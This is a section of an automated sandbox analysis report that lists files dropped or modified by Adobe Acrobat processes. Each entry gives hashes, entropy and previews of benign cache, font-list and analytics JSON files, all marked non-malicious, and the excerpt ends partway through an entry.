Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFkldAPtfllXlE/HT8ktzttNNX8RolJuRdxLlGB9lQRYwpDdt:kK5eT8CzVNMa8RdWBwRd
MD5:	03078A28F9A2D771A773A01400ABD475
SHA1:	1DF57CEC8744CB386855556D2D4FDD27A9C9C650
SHA-256:	D29E7249EF3EDE55A7A2AD6AA29902E36E4805ED8A3719DFDA6C88B169CACA3F
SHA-512:	284144DDCBB10EC636F09EE4A49C483F5AF77B79E7379F559CF2C0E97C8C94AA712691989022AC88B59F6755252AD2FEC030662535DD0179BC0E394FD6F86172
Malicious:	false
Preview:	p...... ..........C..c..(....................................................... ..........W.....p..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKK3GbNtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:SGtiDImsLNkPlE99SNxAhUe/3
MD5:	C00D5B353ED24A765E67A445FB86081D
SHA1:	2BAEB11BA69954CFB33D93A510B637BF7B8014B7
SHA-256:	31477D931F6BE1F7A7A0892C55D5BF800AF3CBE67C784B491635D37E35834998
SHA-512:	A14692498BC7449072811134586E46D31A371E97802DDE8C065644D57123559FA248549E96A950E25D4E221255FD724E7F4979FD14795858532F169E76B4066D
Malicious:	false
Preview:	p...... .........G\|9.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7812

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7812

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366812801031174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJM3g98kUwPeUkwRe9:YvXKXfE2YvR/ZwHA/kGMbLUkee9
MD5:	1AD2042432E79BD892C4EED5B62D99AC
SHA1:	F0A976DF1F4D556DEC3B04E0082E8D20EB158E8F
SHA-256:	F7669F2547FB477D486855B4ECB8B2C04FBB5CF9E6307A90EA72703D5C6B57D1
SHA-512:	1D05D4BD5F69E4F5C0EDE12DE267D33FA1630A2206D36E80A83D50DD77B0DB9E9850116CFE129A20D1E512F612262C7E6093DC419CA1C9769DB56777AD3ACDBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305148750641355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfBoTfXpnrPeUkwRe9:YvXKXfE2YvR/ZwHA/kGWTfXcUkee9
MD5:	0E03C435C1AA01788E35A1C904AFA106
SHA1:	2D26BD7E41D2ED5589F242D56FC719663DC3D8A1
SHA-256:	F436DA5360C5D236E4C655FD47625071AAFDEF66E3B785E01E7F30E2BB9D6D54
SHA-512:	37BCFA4C147CA96B93C166BF7C562EA03DF0DB68F0DEDB9EE428CD2A2BADE2BB14C14632FAC7B2F81D69EF83A5B49F77D329DB146EBB52C54915C7421CAF6DDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282691948859977
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfBD2G6UpnrPeUkwRe9:YvXKXfE2YvR/ZwHA/kGR22cUkee9
MD5:	F7CEE1FA23CF5D4FFAAC2B4230DDF334
SHA1:	636C044A62C680B403057999621CDBA614C01198
SHA-256:	4672032D743C053EF7187A1D4B6373ED117C6115EAE793A5A8B0F1BC94103D3E
SHA-512:	D3E75F0D5886F13FB6A339B0E3B60EC360D9E71F187F0AB40BE95FE952BD31A4AE3869E3759634897E50590E5216AC623DFEB13287AC04225C29F7FE001F3A46
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343882379671698
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfPmwrPeUkwRe9:YvXKXfE2YvR/ZwHA/kGH56Ukee9
MD5:	9BF68D5FCC6800B570E87F884DDA93B5
SHA1:	5054021816ECACAA66BB30F4FC4244AC33397674
SHA-256:	ED5E16336CF61671B07A47C9FFA6BBDEEBC376CF8BF39B8FC32FC0C5F0126BDC
SHA-512:	90F09294E46BEDA73CBD1BF6341316EE062F94AFE45054CA1C99F04878B8513CA62B67AC28229E9D2C15BFC942DE4003B2A2A571B9A659E89AB604E549DAA69C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686857880859653
Encrypted:	false
SSDEEP:	24:Yv6XfEVJhzhpLgE9cQx8LennAvzBvkn0RCmK8czOCCSU:YvTJh9hgy6SAFv5Ah8cv/U
MD5:	5A7CE2690C5507CFFBACE52F36F1F1CD
SHA1:	526092700CF099246F361EDCC902511056129FD5
SHA-256:	3A508C8B269280B9AFDD741F1094E26844D6944C2C3E3D54FC8AE382A5D7F349
SHA-512:	5213661D61F501F4B9DCCFADD524B820B029C0B8FBF08CD30F7465C398B3CEE318E33AB9564CC802177619F45182A1B535B9A7D8B0ED94C50C0B817480122FFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291596563119907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJf8dPeUkwRe9:YvXKXfE2YvR/ZwHA/kGU8Ukee9
MD5:	89E12EB629E46705F3A8B8C38F0D5775
SHA1:	9322AE7A708B927B75E28F90298CEE12843A433E
SHA-256:	33C88E2DDB2A6CA9BB42AA5E8DA669EC8FA3DBEED29DBB4FEBCAD0D28302193B
SHA-512:	A3E326272015034A05B2CAFF51BF954EB93E14B5EE81D3C0D8AA24F207AAF56ACC73DBA121E22F83D93D3A887D2E48E68F8921082867A4105F683AE900E9F6B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290361867441687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfQ1rPeUkwRe9:YvXKXfE2YvR/ZwHA/kGY16Ukee9
MD5:	DA9A5218382EDBAE764E842A7E0B140E
SHA1:	0D49C3D546D7E7C9D43B17AB4381CD5217F12559
SHA-256:	13853801203530D7E62665E2117B74F79F2AF2FCD90800A15D39E9B21C14792C
SHA-512:	47429181192B05F5B1CEF34F3028F4E15E15AAB025A4C7D3BEF71EB2303FFC741965CEDB5576381FBABF6505CEA1D0295C93B2017EAEC4D5D084D87DF3BF71C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304967095674022
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfFldPeUkwRe9:YvXKXfE2YvR/ZwHA/kGz8Ukee9
MD5:	9DAFF2A1C5EED614A6CD354A84DA1180
SHA1:	8EF497A79AC0AC40DBD00812EB3A10CC36D9DED3
SHA-256:	9262510D32B89BBC479E3A50CBF3BCD2FEC0C8D527A65A8AE7DEEB95650B9255
SHA-512:	22B87E9AFFAE9EC13556BFAAF0C927B94B2A03C0F5BC51BD575DAE64277F74067CBA7EE95E1F072FB23EBCD4BF23A800A7CF6A05B6CED3F2E3687468FBA030CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321113877252515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfzdPeUkwRe9:YvXKXfE2YvR/ZwHA/kGb8Ukee9
MD5:	73654A59F4F0488834A38727C5E60672
SHA1:	C4EEBDD667903344DD95ADED76DCE2F5F94BDFA6
SHA-256:	5E5894BF7A3E88DE171E5F8810A8E4B726AB0833E3C8D3ABDB937873BA3CF3BE
SHA-512:	8E665B85FC302C955A9E386E53A0435859D0914449A0F0D1491C3B288B372B451DA25A920C548BEDF47CCFEF4D330326F34E539FDBCED7070C704308ED424E84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301500139453722
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfYdPeUkwRe9:YvXKXfE2YvR/ZwHA/kGg8Ukee9
MD5:	1317857678B4AEBB514CFA4D1EDE4E1D
SHA1:	D246A11201A1B4803330B35F761EBB91A03A86C0
SHA-256:	B9933C50E10B437FDACE521E400562A13ADD80CC5A696134EC60E01C23DAAAAF
SHA-512:	AAC9057C86E07E8072BD3BE354003DF0BC82FC49011781B710846B1A71C7E63266ACBAD3C51890B696D26C6FA00EF97A3DEB3787A596E905A4781705F9D09CFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.287259221649431
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJf+dPeUkwRe9:YvXKXfE2YvR/ZwHA/kG28Ukee9
MD5:	E15CBF8B24B7F942931651E71AC679D0
SHA1:	10DF2139740543416C14677F6C17B882B8294AE6
SHA-256:	FB83BC7ED68EFB2AF8AE931B0612102A3FBA745B10CA1223206E833E7AD57431
SHA-512:	67F3AD497EBD7F2774BB4FC79FA2F3E482FDC376A1D4FE2CC9265BAAF7F93B59DF7DB3F76E78A260F649522CE7481D672590520CDD8796FD6A4040B80DA61DD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2850369268907915
Encrypted:	false
